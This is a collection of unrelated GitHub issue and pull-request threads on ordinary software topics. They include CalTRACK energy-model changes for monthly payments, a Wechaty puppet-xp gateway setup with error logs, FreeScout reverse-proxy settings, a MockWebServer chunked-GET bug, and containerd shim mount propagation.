CalTRACK Issue: "Month type" or "week type" control to address intercept-only model issues with more frequent payments

Prerequisites

[x] Are you opening this issue in the correct repository (caltrack/grid/seat)?
[x] Did you perform a search of previous Github issues to check if this issue has been previously considered?

Article reference number in CalTRACK documentation (optional): <IP_ADDRESS>.4
Description
The daily CalTRACK methods seek to find heating and cooling degree day balance points for participanting sites. However, sometimes it's not possible to model the relationship between a site's usage and HDDs and CDDs, because the site's usage is irregular. In these cases the site defaults to an intercept-only model.
This can be disappointing, but it's by design--some sites are simply difficult to model, and that's part of the reason for using a portfolio approach. However, this can present difficulties for natural gas savings analysis, in particular when an aggregator is getting payments throughout the year. An intercept only model is fitted to both heating season and cooling/shoulder season data. This means that usage may often fall above the intercept (which is the counterfactual, in this case) during heating season and below it during other times of the year. Over a year everything will likely even out, but during the winter it will look like the site has negative savings. This can be a problem for an aggregator who's getting paid on a monthly or quarterly basis.
There are various ways one could structure payments to overcome this issue, but I'm curious to know if we could address it within CalTRACK by identifying "heating months" (or maybe "heating weeks") specific to a site, including an indicator variable for heating period (month or week) in the regression, and basically creating two intercept-only models--one for heating and one for non-heating.
My proposal is to test strategies to identify heating periods (which might involve identifying the 3rd or 5th percentile of gas usage and calling periods where a site stays within some percentage of that "non-heating months", but I'm open to other suggestions), then see if including a heating period indicator in the intercept-only model improves fit.
Note: this issue likely only applies to single family homes, and may mostly apply to temperate areas (e.g., northern California) where even during heating season, customers don't use much gas. I'm curious to hear feedback on whether people think this would be an issue elsewhere.
Proposed test methodology
If we decide to agree to a uniform testing approach, I'll follow that. Otherwise, I think the test methodology proposed in #117 could work well here, too.
Acceptance Criteria

Agreement by the group that this is an issue that is worth addressing
Improvement in model fit as per the test methodology

I agree the daily methods should incorporate some method to model monthly variations in building conditions. Thirty data points per month is sufficient to identify such month-by-month variations. We do monthly analysis of residential buildings and regularly see fluctuations in natural gas use (including changing intercepts and balance point temperatures) throughout the year.
To maintain some consistency in methods, could we use the existing hourly model -- or a dumbed down version of it -- with daily data?

Hi all,
It seems this issue is in line with the work that was performed under Issue #57: Include calendar effects (day-of-week, month-of-year, holidays) in daily model?
It seems the working group at the time was able to demonstrate that using dummy variables for day of week and month of year in a daily model had the potential to improve out of sample predictions. Reductions in normalized mean bias error (NMBE) were also demonstrated when using robust regression with a categorical variable for weekdays vs weekends. However, no modifications to the CalTRACK methodology were made as a result of this work because the focus at the time was improving annual predictions, not monthly predictions.
I propose that we reopen Issue #57 in conjunction with Issue 130 and issues like it (see Issue #127) and reevaluate the findings using data from a range of residential and commercial buildings from  California, New York, etc. Now that there is a strong use case for accurate monthly predictions (i.e. increasing the frequency of performance payments in a Pay for Performance context), it makes sense as a starting point for further analysis, especially since the CalTRACK working group has already demonstrated the potential of this approach.
I strongly believe we need to keep Issue 130 and issues like it open, as being able to increase the frequency of performance payments in P4P initiatives is a major priority for NYSERDA (and others) and could impact the success of P4P as a framework for incentivizing energy efficiency. However, I’ll need some help with the data analysis, as well as finding suitable data sets outside of New York.
Looking forward to feedback from everyone!

...there is a strong use case for accurate monthly predictions...

Agreed!
Although I would restate this slightly to "accurate month-by-month savings calculations", so as not to unnecessarily assume we need to limit the solution space to monthly/weekly models, or reporting periods that are only a month long (see #127).
One approach that might be useful is to build a data set of buildings currently assigned to intercept-only models by CalTRACK, then use this data set to test the efficacy of different approaches.

Related: It appears the main conclusion of #57 was a decision not to switch to a robust regression model, which was only one possible approach to address the bigger topic of that issue.
HEA came to the same conclusion in 2012 after evaluating the Theil-Sen robust method on residential energy data. We did however chose to employ a LOESS local regression method in 2014 and still use it today with [we believe] good results.

Thanks for weighing in @steevschmidt.
As per @jkoliner’s guidance on working group procedures, I’ll clarify my proposal to extend the work completed under Issue #57 as part of Issue #130.
Additional Description:
During the initial testing of Issue #57, four models were fit in accordance with the CalTRACK methodology at that time using data from 100 residential buildings. The model with the best R^2, etc. was selected
The models were then modified using a dummy variable for day-of-week, and then for month-of-year. When these models were tested, they produced better results when attempting to predict consumption less than 365 days out in comparison to the model without the dummy variable (9 days and 180 days for each model respectively). However, there was not a large difference in performance when predicting 365 days out.
Considering use cases like making sub-annual Pay-for-Performance payments could benefit from making predictions sooner than one year (i.e. on a monthly basis), it seems re-testing through a new lens would be an appropriate place to start testing Issue #130.
Expansion of Proposed test methodology

Construct an appropriate data set(s) for testing and split each set into two periods for in-sample/out-of-sample testing. Heterogenous data sets using data from around the country would be preferred, but obviously there are limitations to constructing something like this. We might want to consider testing on a billing and interval data set as well.

Test the following models with each data set:
a.	A model constructed using the current daily CalTRACK specifications
b.		Current CalTRACK specification with robust regression

Depending on performance of other models, test the use of a “heating period” variable for each data set as proposed by @carolinemfrancispge:
a.	Current CalTRACK specification plus “heating period” variable (naïve- monthly level, try select traditional heating and non-heating month groupings)
b.	Current CalTRACK specification plus “heating period” variable (weekly level, would need to discuss various ways of defining/identifying a “heating week”)
c.	Additional model variations as determined to be useful by tester(s)

Calculate the Normalized Mean Bias Error (NMBE) using each months’ observed and predicted values

Select model with best performance based on monthly NMBE for working group consideration

Acceptance Criteria
Since the primary goal of this work would be to improve monthly estimates with as little overall impact and complexity as possible:
a)	Monthly NMBE shifts closer to zero for at least 6 months out of the year
b)	Annual NMBE remains constant or moves closer to zero in comparison to the current CalTRACK model specification
c)	New model does not appear to be overfitting
d)	CV(RMSE) remains constant or decreases in comparison to the current CalTRACK model specification
Very open to thoughts and ideas on how to improve.

One experiment we ran to check the effects of seasonality was to apply the model developed from a 12 month baseline period to each individual month within the same period. Our premise was that a "good" model should have similar CVRMSE values across all 12 months.

What is the consequence of this issue for monthly models? Similar effects occur with monthly baseline-only models and I don't believe there is currently a way to try to make seasonal adjustments in the absence of HDD/CDD variables. Is there a similar solution that could be proposed and tested for monthly methods?

This is definitely still an issue when using billing data. From my understanding, we would be able to approach testing for billing and daily methods in the same way when applying a monthly-level variable (month-of-year dummy variable, monthly "heating period" variable). I imagine this would be a good place to start before diving into more granular solutions since I believe simplicity is still a priority for the working group.


Can this algorithm be deployed in the real world?

I want to deploy this algorithm in the real world, like Go2 robot dog.

This implementation is based on graph-based VLN, which can not be directly deployed in the real robot.
But you can transform a continuous environment into graph using some existing approach, like ETPNav.
BTW, I recommend you to perform sim2real transfer under the VLN-CE setting.


这个能不能对接puppet-xp协议啊

这个能不能对接puppet-xp协议啊

可以，但只能作为gateway服务对接
参考这里
$ npm install -g wechaty@next wechaty-puppet-xp
$ wechaty gateway --puppet wechaty-puppet-xp

另外，需要在启动wechaty gateway前设定WECHATY_PUPPET_SERVICE_NO_TLS_INSECURE_SERVER=true
然后目前我测试下来，貌似还只能发文本，然后自动添加好友请求貌似也实现不了，更多群聊功能有待测试

可以，但只能作为gateway服务对接 参考这里
$ npm install -g wechaty@next wechaty-puppet-xp
$ wechaty gateway --puppet wechaty-puppet-xp

另外，需要在启动wechaty gateway前设定WECHATY_PUPPET_SERVICE_NO_TLS_INSECURE_SERVER=true
然后目前我测试下来，貌似还只能发文本，然后自动添加好友请求貌似也实现不了，更多群聊功能有待测试

俺看不懂，我试了一下不能用啊。
我一启动python机器人，wechaty那边就退出登录了，然后python机器人就启动失败了啊。wechaty那边又可以自动登录成功。
这个咋解决啊
服务端
15:29:20 INFO IoClient 辛辛六号 logged in
15:29:20 VERB PuppetXp---------------------- contactRawPayload(wxid_o6btt846cbyn12)
15:29:20 VERB PuppetWatchdogAgent start() "heartbeat" event listener added
15:29:20 VERB PuppetWatchdogAgent start() "reset" event listener added
15:31:37 VERB PuppetServiceImpl stop()
15:31:37 ERR PuppetServiceImpl stop() eventStreamManager is not busy?
15:31:37 VERB PuppetServiceMixin stop()
15:31:37 VERB PuppetWatchdogAgent start() "heartbeat" event listener removed
15:31:37 VERB PuppetWatchdogAgent start() "reset" event listener removed
15:31:37 VERB ServiceCtl<PuppetServiceMixin> stop()
15:31:37 VERB StateSwitch <PuppetServiceMixin> inactive(pending) <- (false)
15:31:37 VERB ServiceCtl<PuppetServiceMixin> stop() this.onStop() ...
15:31:37 VERB PuppetXp onStop()
15:31:37 WARN PuppetLoginMixin logonoff() is deprecated, use `isLoggedIn` instead:
Error
    at PuppetXp.logonoff (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty-puppet-xp/node_modules/wechaty-puppet/dist/esm/src/mixins/login-mixin.js:86:101)
    at PuppetXp.onStop (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty-puppet-xp/dist/esm/src/puppet-xp.js:203:18)
    at PuppetXp.stop (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty-puppet-xp/node_modules/state-switch/dist/esm/src/service-ctl/service-ctl.js:108:28)
    at PuppetXp.stop (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty-puppet-xp/node_modules/wechaty-puppet/dist/esm/src/mixins/service-mixin.js:25:25)
    at stop (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/server/puppet-implementation.js:1085:45)
    at Object.stop (file:///C:/Users/qaz/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/auth/auth-impl-token.js:26:28)
    at handleUnary (C:\Users\qaz\AppData\Roaming\npm\node_modules\wechaty\node_modules\@grpc\grpc-js\build\src\server.js:674:13)
    at processTicksAndRejections (node:internal/process/task_queues:96:5)
15:31:37 VERB PuppetLoginMixin logout(logout())
15:31:37 VERB StateSwitch <WechatyReady> inactive(true) <- (true)
15:31:37 VERB ContactSelf name()
15:31:37 INFO IoClient 辛辛六号 logged out

机器人
2022-01-22 15:31:37,403 - Wechaty - INFO - starting puppet ...
2022-01-22 15:31:37,404 - HostiePuppet - INFO - init puppet
2022-01-22 15:31:37,408 - HostiePuppet - INFO - starting the puppet ...
Traceback (most recent call last):
  File "c:\Users\qaz\Desktop\xinxin_bot\wechatbot.py", line 61, in <module>
    asyncio.run(main())
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\base_events.py", line 641, in run_until_complete
    return future.result()
  File "c:\Users\qaz\Desktop\xinxin_bot\wechatbot.py", line 59, in main
    await bot.start()
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\site-packages\wechaty\wechaty.py", line 424, in start
    await self.puppet.start()
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\site-packages\wechaty_puppet_service\puppet.py", line 926, in start
    await self.puppet_stub.stop()
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\site-packages\wechaty_grpc\wechaty\__init__.py", line 25, in stop
    return await self._unary_unary(
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\site-packages\betterproto\__init__.py", line 1125, in _unary_unary
    assert response is not None
AssertionError
Exception ignored in: <function _ProactorBasePipeTransport.__del__ at 0x00000196E699ECB0>
Traceback (most recent call last):
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\proactor_events.py", line 116, in __del__
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\proactor_events.py", line 108, in close
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\base_events.py", line 745, in call_soon
  File "C:\Users\qaz\AppData\Local\Programs\Python\Python310\lib\asyncio\base_events.py", line 510, in _check_closed
RuntimeError: Event loop is closed
PS C:\Users\qaz\Desktop\xinxin_bot>

@WukongZeming you can write a blog to doc it.

@WukongZeming you can write a blog to doc it.

I'd like to do it, but  where?

You can post a PR to:  https://github.com/wechaty/wechaty.js.org

可以，但只能作为gateway服务对接
参考这里
$ npm install -g wechaty@next wechaty-puppet-xp
$ wechaty gateway --puppet wechaty-puppet-xp

另外，需要在启动wechaty gateway前设定WECHATY_PUPPET_SERVICE_NO_TLS_INSECURE_SERVER=true
然后目前我测试下来，貌似还只能发文本，然后自动添加好友请求貌似也实现不了，更多群聊功能有待测试

嗯，今天下午试了一下，只能发文本，然后就放弃了。

@wj-Mcat
When I tried  to repeat the full process on a totally new windows PC for making sure the doc would be perfect, somethin w wired just happened.
the puppet-xp gateway service can be luanched, however  it  raise an 'eventName post unsupported' Error and get crushed as soon as the python-wechaty program connect.
the Error log as follows:
Error: eventName post unsupported!
    at EventStreamManager.connectPuppetEventToStreamingCall (file:///C:/Users/bigbr/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/server/event-stream-manager.js:216:27)
    at EventStreamManager.start (file:///C:/Users/bigbr/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/server/event-stream-manager.js:41:41)
    at event (file:///C:/Users/bigbr/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/server/puppet-implementation.js:287:32)
    at Object.event (file:///C:/Users/bigbr/AppData/Roaming/npm/node_modules/wechaty/node_modules/wechaty-puppet-service/dist/esm/src/auth/auth-impl-token.js:26:28)
    at handleServerStreaming (C:\Users\bigbr\AppData\Roaming\npm\node_modules\wechaty\node_modules\@grpc\grpc-js\build\src\server.js:696:13)
    at processTicksAndRejections (node:internal/process/task_queues:96:5)

some ideas? many thanks

the next version of wechaty is in heavy developing if a new feature:

https://github.com/wechaty/wechaty/issues/2245

Please downgrade the version to latest for preventing this error.

does the latest vesion support CLI creating gateway service?

@WukongZeming No, it does not support. The CLI is developed recently and only exists in the @next version for now...
For this problem, it seems that it would be very easy to fix in the wechaty-puppet-service module to add the post branch in it, if you can send a PR to fix it, I'd like to accept it and make it a quick fix.

I wish I could, but I really have no knowledge  about jave programming....
I'll rise the issue rightnow
Sorry again

and I still wonder that why it works well just last week but cannot this week?
do you have updated the next-version-programe at the weekend(around 1.22~1.23)?

I'll raise the issue right now

That would be a great help, thank you very much!

do you have updated the next-version-program at the weekend(around 1.22~1.23)?

Yes, we are always developing on the @next to help us move forward.
We have merged the Post support on both Wechaty & Puppet systems last weekend.
See:

https://github.com/wechaty/wechaty/pull/2249


Support non-dockerized reverse proxies

We're having trouble getting docker-freescout to run in an environment where the reverse proxy runs out-of-docker.
nginx and certbot are already installed on that host; we don't use them via docker. Hence, we chose to set up the no-proxy configuration and quickly noticed that all the URLs start with http: instead of https:, making login attempts fail [1] due to some scripts not loading.
What we then tried to do was to set ENABLE_SSL_PROXY=TRUE, though that caused our freescout subdomain to get caught in an infinite 302 loop redirecting to itself.
@tiredofit: Is there a way to make your container work in such an environment?

[1] This bug has already been described in https://github.com/freescout-helpdesk/freescout/issues/502.

This sounds very similar to #18 - I wonder if it is because of the base image for nginx I am using.
From the nginx base image these are some environment variables that may help you
Reverse Proxy Options

Parameter
Description

NGINX_ENABLE_FASTCGI_HTTPS
Set fastcgi_param HTTPS 'on' - Default FALSE

NGINX_ENABLE_REVERSE_PROXY
Helpers for when behind a reverse proxy - Default TRUE

NGINX_REAL_IP_HEADER
What is the header passed containing the visitors IP - Default X-Forwarded-For

NGINX_SET_REAL_IP_FROM
Set the network of your Docker Network if having IP lookup issues - Default <IP_ADDRESS>/12

I'll follow the the freescout issue and see if I can build in a fix into the image.

Thanks for the pointers. For the scenario outlined above, I found that setting these environment variables will load the scripts just fine:
- ENABLE_SSL_PROXY=TRUE
- NGINX_ENABLE_FASTCGI_HTTPS=TRUE

I haven't thoroughly tested anything else yet, as it seems that my admin user isn't created, so I can't log in, nor can I reset my password. Since this is a whole different issue entirely, I'll close this one and will open another if I can't figure anything out.
Thank you!

Since this is where Google led me when I had the same issue,  I will post the entire configuration which worked for me.
Your proxy must be pointed to the freescout port using http protocol, eg. if you are using apache for proxy:
<Location />
    ProxyPass http://<IP_ADDRESS>:8447/ nocanon
    ProxyPassReverse http://<IP_ADDRESS>:8447/
</Location>

And in the docker compose file for freescout you must have:
   ports:
     - 8447:80

And these environment variables:
     - SITE_URL=https://yourfreescout.com
     - ENABLE_SSL_PROXY=TRUE
     - NGINX_ENABLE_FASTCGI_HTTPS=TRUE


Adding a Contributing Guide

Adding a contributing guide will help beginners who are planning to contribute in this project.

Hey, I would like to help with this issue and make a contribute.md!

@abitsalihu Go ahead, mate! 🚀

Go ahead, @abitsalihu 🔥

@pushkaraj2007 please close this issue since it has been resolved. :)

This issue has been resolved in #23 PR!!


Feature request: SQLite

why not add SQLite? as an option because I keep just a photo gallery and cumbersome mysql I would not really like to use.
P.S. Sorry my bad eng.

Lychee Laravel is database agnostic and you can use SQLite with it.
you just need to specify this in the .env.
Worth reading: https://github.com/LycheeOrg/Lychee-Laravel/blob/master/config/database.php#L36


Clear MaskText while typing

Hi,
Using the mask text in a input text and having these properties set:
clearMaskOnLostFocus: true
showMaskOnFocus: false
showMaskOnHover: false
I thought the mask would never be seen even while typing. The mask is always shown on focus if the character is not the first or if the input is still empty.

Inputmask version: 5.0.0-beta.318

Thanks,
Tiago

@tiagompb ,
Use the jitmasking optrion.  (see readme)


Ap 319 statement of case upload

AP-319

Add file_field to form_builder
refactor form_builder to use the Rspec shared_examples_for pattern to avoid duplication
Add file upload to the statement of case page.

I investigated using https://github.com/ministryofjustice/mojfile-uploader .
However, after talking with its main developer (Jesus Laiz), we agreed that it is overkill and that the simplest solution for us is to use Rails default upload (ActiveStorage, that I use in this PR) or gems like Shrine or CarrierWave and then do file conversion and malware check in Sidekiq workers.
With ActiveStorage we could implement direct uploads (file goes directly from user's computer to S3) but cloud platform's S3 cannot be setup for this yet. I raised an issue with them: https://github.com/ministryofjustice/cloud-platform/issues/636
Checklist
Before you ask people to review this PR:

[X] Tests and rubocop should be passing: bundle exec rake
[X] Github should not be reporting conflicts; you should have recently run git rebase master.
[X] There should be no unneccessary whitespace changes. These make diffs harder to read and conflicts more likely.
[X] The PR description should say what you changed and why, with a link to the JIRA story.
[X] You should have looked at the diff against master and ensured that nothing unexpected is included in your changes.
[X] You should have checked that the commit messages say why the change was made.

@reggieb, thanks for reviewing. I made all your suggested changes


Objective C: import GRPCCompletionQueue.h in GRPCChannel.m

GRPCCompletionQueue was only forward declared in GRPCChannel.h, but its properties are used by GRPCChannel.m
Without this, I get a compile error:
grpc/src/objective-c/GRPCClient/private/GRPCChannel.m:160:41: Property 'unmanagedQueue' cannot
be found in forward class object 'GRPCCompletionQueue'

CC @jcanizales

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Weird, Travis (and a local run of the tests) passed for the last change of that file. What's going on? :)

@jcanizales no idea here, I guess the only difference I can think of is building for Mac vs iOS, but I really don't get why that would make this... not a compiler error.

Ah yeah, I see what's going on: Check line 41/42 :smile: The order of the import groups from the style guide is "header for implemented class", "other libraries", "this library".

@jcanizales: Apologies, I must of messed up a git merge to get into this state, my bad.

No worries! I got equally confused.


Summed Area Table Filter

Status:

written

Todo:

compile and test it

since the mip maps have to be the same I wonder if we should change the way of decoding an image, limiting the decoding to only single mip map data, because as I think of it, it wastes compute time per each execute to decode the entire image when only a single mip map data will be ever handled

I changed it but I will test it when everything will be clear to me after your answers @devshgraphicsprogramming

@devshgraphicsprogramming done and tested

okay, mip in = mip out still an issue!

done

I will do exactly what I did before but with no caching nor wasting memory for all the layers

Don't use auto this much! It becomes illegible, use auto only in generic/template code when you actually need it and in case of very long type names (but even then prefer typedef/using instead). auto i = 0u isnt a good place to use auto for sure!

Actually... i dont know why you even touch output regions while decoding.. Just do CBasicImageFilterCommon::executePerRegion(commonExecuteData.inImg, decode, commonExecuteData.inRegions.begin(), commonExecuteData.inRegions.end(), clip);, fill scratch with decoded texels, do SAT on scratch, and finally executePerRegion over output regions (encode). Ofc all of the above should be done per layer. Take into account my today's review

Don't use auto this much! It becomes illegible, use auto only in generic/template code when you actually need it and in case of very long type names (but even then prefer typedef/using instead). auto i = 0u isnt a good place to use auto for sure!

Also auto without a reference (auto&) turns into a "copy-by-value" which has other performance implications.

OK I think clip_functor_t needs an explainer
https://github.com/buildaworldnet/IrrlichtBAW/blob/shader_pipeline/include/irr/asset/filters/CBasicImageFilterCommon.h#L58
You create the object by giving it the subresource (mip level and layer) of the original image, as well as the offset + extent to clip to, these are pretty much derived from your Filter's State.
you also pass it some texel-block-format info, but thats just for convenience and speed (it can derive those from the format).
Whenever you call the clip functor's function operator
https://github.com/buildaworldnet/IrrlichtBAW/blob/shader_pipeline/include/irr/asset/filters/CBasicImageFilterCommon.h#L69
it will produce a newRegion that is the intersection of the offset and extent of the functor and the offset and extent of referenceRegion.
Now in order to produce such a region so its valid and is "as-if" it specified the image itself, you need to do the following:

Resolve your bufferWidth if it was 0/-1 and similar because you need to know the byte-distance between successive rows and layers in a clipped region
Find an Offset that is both within the functor's state and the referenceRegion (maximum of the coordinates)
Find an Extent that when added to the previously computed offsets is still within both rectangles (minimum of the coordinates with the maximum subtracted). targetLimit is the the one-past the max coordinate of the rectangle given in the constructor, while resultLimit is the equivalent for the input region.
Compute a new bufferOffset given the change in the offset (offset can only become larger than the reference region so the bufferOffset shall be increased by a non-negative number)

You can see step 2 and 3 being done starting on this line:
https://github.com/buildaworldnet/IrrlichtBAW/blob/shader_pipeline/include/irr/asset/filters/CBasicImageFilterCommon.h#L82
If the two rectangles don't intersect (no common texels) then we return false
https://github.com/buildaworldnet/IrrlichtBAW/blob/shader_pipeline/include/irr/asset/filters/CBasicImageFilterCommon.h#L84
The offsetInOffset cannot be negative:
https://github.com/buildaworldnet/IrrlichtBAW/blob/shader_pipeline/include/irr/asset/filters/CBasicImageFilterCommon.h#L90


techmap: Support mapping to dynamic cell types

Sample of use:
(* techmap_celltype="$lcu" *)
module _80_lcu_primitive(P, G, CI, CO);
	parameter WIDTH = 2;

	(* force_downto *)
	input wire [WIDTH-1:0] P;
	(* force_downto *)
	input wire [WIDTH-1:0] G;
	input wire CI;
	(* force_downto *)
	output wire [WIDTH-1:0] CO;

	(* techmap_chtype=$sformatf("LCU_%0d", WIDTH) *)
	_TECHMAP_PLACEHOLDER_ #(.WIDTH(WIDTH)) _TECHMAP_REPLACE_(.P(P), .G(G), .CI(CI), .CO(CO));
endmodule

to map $lcu cells to cells LCU_x where x is the width.

I assume you forgot to add this commit into the PR, it was only on the or-patches branch

Yes, thanks


WinRT: Simplify class creation

Leverage WinRT C++ language projection to simplify WinRT class creation without explicit factories in the client code as already done in https://github.com/forderud/WinRT_test.
WARNING: Doesn't work yet since it triggers the following linker error:
2>WinrtServerTests.obj : error LNK2019: unresolved external symbol "public: __cdecl winrt::WinrtServer::Programmer::Programmer(void)" (??0Programmer@WinrtServer@winrt@@QEAA@XZ) referenced in function "private: virtual void __cdecl WinrtServerTests_RequireThat_Buffer_ReturnsCorrectValues_Test::TestBody(void)" (?TestBody@WinrtServerTests_RequireThat_Buffer_ReturnsCorrectValues_Test@@EEAAXXZ)
2>C:\Dev\com_samples\Build\Output\TutorialsAndTests.exe : fatal error LNK1120: 1 unresolved externals

Root cause seem to be lack of stub impl. for the Programmer class constructor in the generated WinrtServer.h:

It should have been something like this:
WINRT_EXPORT namespace winrt::WinrtServer
{
    inline Programmer::Programmer() :
        Programmer(impl::call_factory_cast<Programmer(*)(winrt::Windows::Foundation::IActivationFactory const&), Programmer>([](winrt::Windows::Foundation::IActivationFactory const& f) { return f.template ActivateInstance<Programmer>(); }))
    {
    }
}

@forderud, is the missing constructor caused by a defect in our implementation, or is it something we don't understand related to the automatic generation of projections?

@forderud, I think #42 solves the underlying problem

@forderud, is the missing constructor caused by a defect in our implementation, or is it something we don't understand related to the automatic generation of projections?

I honestly don't know. The only thing I know is that I was able to generate the constructor while playing with https://github.com/forderud/WinRT_test a month ago.

@jogerh Thanks for providing PR #42 that appear to have fixed the problem with the missing constructor. Would you now mind reviewing the PR?

Great! I initially thought it was a bit strange that I had to obtain the class factory to create instances. A lot of learning going on here.


MockWebserver fails for empty body requests with "Transfer-Encoding: chunked" header

I'm using an HTTP client that sends a "Transfer-Encoding: chunked" HTTP request header for all requests, including with empty bodies. When testing that client with MockWebServer, I'm getting the following:
MockWebServer[54824] connection from /<IP_ADDRESS> crashed
java.lang.IllegalArgumentException: Request must not have a body: GET /pojos HTTP/1.1
    at okhttp3.mockwebserver.MockWebServer.readRequest(MockWebServer.java:631)
    at okhttp3.mockwebserver.MockWebServer.access$1500(MockWebServer.java:99)
    at okhttp3.mockwebserver.MockWebServer$4.processOneRequest(MockWebServer.java:498)
    at okhttp3.mockwebserver.MockWebServer$4.processConnection(MockWebServer.java:460)
    at okhttp3.mockwebserver.MockWebServer$4.execute(MockWebServer.java:401)
    at okhttp3.internal.NamedRunnable.run(NamedRunnable.java:33)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

Why is this enforced?
Is there a strong reason or something in the HTTP spec that qualifies those requests as invalid?
Could we relax that check if not necessary?

The RFC states that some servers might reject a GET with a body but that it otherwise has no defined semantics. Does the body have contents of 0\r\n?

I guess you're right.
The RFC states that:

The presence of a message body in a request is signaled by a
Content-Length or Transfer-Encoding header field.  Request message
framing is independent of method semantics, even if the method does
not define any use for a message body.

So in that case, I guess the client should at least send a 0\r\n body to send an empty body if nothing has been sent.
Right now the client sends the following:
GET /greeting HTTP/1.1\r\n
transfer-encoding: chunked\r\n
host: localhost:50419\r\n
\r\n
0\r\n
\r\n

Is there something wrong with this request?

Doesn't look like it, no. We can potentially update MWS to correctly ignore bodies on non-body HTTP methods, but we'll have to look more closely at the RFC to see if there are specific HTTP methods where the body is completely forbidden before doing so.

The spec is actually quite liberal.
GET requests may have bodies but they can be ignored by the server.
AFAIK, the only request method that forbids request bodies is HEAD.

I have the same problem. Would it be a solution to make it configurable?

Won't fix.  We reject for clients because we are opionated, doing the same here.


Recognise that the registry has separate 32- and 64-bit compartments

Just discovered this fact. More to come on what to do and whether we need to / can do something for 18.2.

See https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/view-system-registry-with-64-bit-windows#:~:text=The registry in 64-bit,bit counterparts%2C and vice versa.&text=In the 64-bit version,\Software\WOW6432Node registry key


Modal group

I'm thinking about creating a modal group. The use case for me is to have a group component called "radio". When clicked a modal window should open similar to a "more info" containing a list of conponent,  in my case several script componenents that cast radio channels to a chrome cast.
Any thoughts?
Would this fit the current design?

This may already be possible with the input_select component.
I'm using a similar thing for our TV but instead of a list of radio stations it's channels.

Seems even better than my idea 😊
Will try it, thanks

No problem, it's been working great so far. :-)
As soon as it was added I knew what it would be perfect for.

The input_select component gives the functionality I need. I'll close this issue.

Can you provide an example of how to add an input select to a group?  the one shown would be great.
thanks

Look at @GreenTurtwig example https://github.com/GreenTurtwig/personal-home-automation/tree/master/Home Assistant


Shim unconditionally mounts rootfs as MS_SLAVE

https://github.com/linuxkit/linuxkit/issues/2131 is an issue with LinuxKit's projects/kubernetes where the kubelet container expects to create mount which will be visible in a docker container. Both of them have a /var:/var:rshared,rbind but the mounts made by kubelet are not appearing in the docker container.
I eventually tracked this down to the shim's setupRoot which unconditionally does unix.Mount("", "/", "", unix.MS_SLAVE|unix.MS_REC, ""). Which was added  in ab8586b7c5e7a9a95053d3d6293d671c030bae00 ("Remove bundles from API").
Would it be possible to make this optional by some means? Or maybe it is even possible to remove it since it seems to be redundant with runc's prepareRoot which sets up the root mount in a similar way but is configurable via the rootPropagation field in config.json.
WRT https://github.com/linuxkit/linuxkit/issues/2131 I have confirmed that either dropping the mount from shim or changing it to MS_SHARED unbreaks things. I also confirmed that removing rootfsPropagation: shared from the kubelet container re-breaks things, so it seems the code in runc is effective.
@justincormack pointed me at a document and in particular https://github.com/kubernetes/community/issues/648 which seem somewhat relevant/related.
/cc @justincormack @crosbymichael

I think the propagation here needs to match Linux.RootfsPropagation in the spec for the container, else the container rootfs propagation will not be respected.

@justincormack is that different to the RootfsPropagation stuff done by runc already?

runc sets the propagation of the root based on that flag, but that mount is under the shim mount, so although the root mount will be set to shared in this case, its only shared with the shim's slave mount not with the mount above that (usually the host root fs).

We did this because of all the EBUSY errors that people get because buggy devmapper or other things poking around in /var/lib/whatever when they should not.

@crosbymichael making the shim obey the rootfsPropogation in the spec would be OK from that PoV though I guess?

So what is the best way to approach a fix here? We could either pass a new CLI option when launching the shim, or defer setupRootfs into the shim's Create handler by adding a field to shim.CreateTaskRequest (where it would be consumed by newInitProcess before r.Rootfs was loked at). Both options would appear to require the Linux runtime to parse the spec, which it currently treats as opaque.
Or we could punt it to the user by adding something to CreateContainerRequest, but that seems even worse to me.

We can just remove it for now I guess

I tried this, see https://github.com/ijc/containerd/commit/49020e1bede6bb75f8a05b66382ac17a12cba2e5, but:
$ sudo ./bin/dist pull docker.io/library/alpine:latest
[...]
unpacking sha256:1072e499f3f655a032e88542330cf75b02e7bdf673278f701d7ba61629ee3ebe...done
$ sudo ./bin/ctr run --tty docker.io/library/alpine:latest test
/ # exit
ctr: rpc error: code = Unknown desc = remove /var/lib/containerd/io.containerd.runtime.v1.linux/default/test/rootfs: device or resource busy
$ sudo ./bin/ctr c ls
CONTAINER    IMAGE                              RUNTIME                           LABELS
test         docker.io/library/alpine:latest    io.containerd.runtime.v1.linux    -
$ sudo ./bin/ctr t ls
TASK    PID    STATUS

I didn't notice this when I tried it before, but it is possible it was happening and I was oblivious.
How about just making it MS_SHARED for now?

I think if it is always MS_SHARED it is not adding any value at all. I think a better fix is for the controlling program to make /var/lib/whatever private so it can't be poked around with, not sure this mount can be useful.

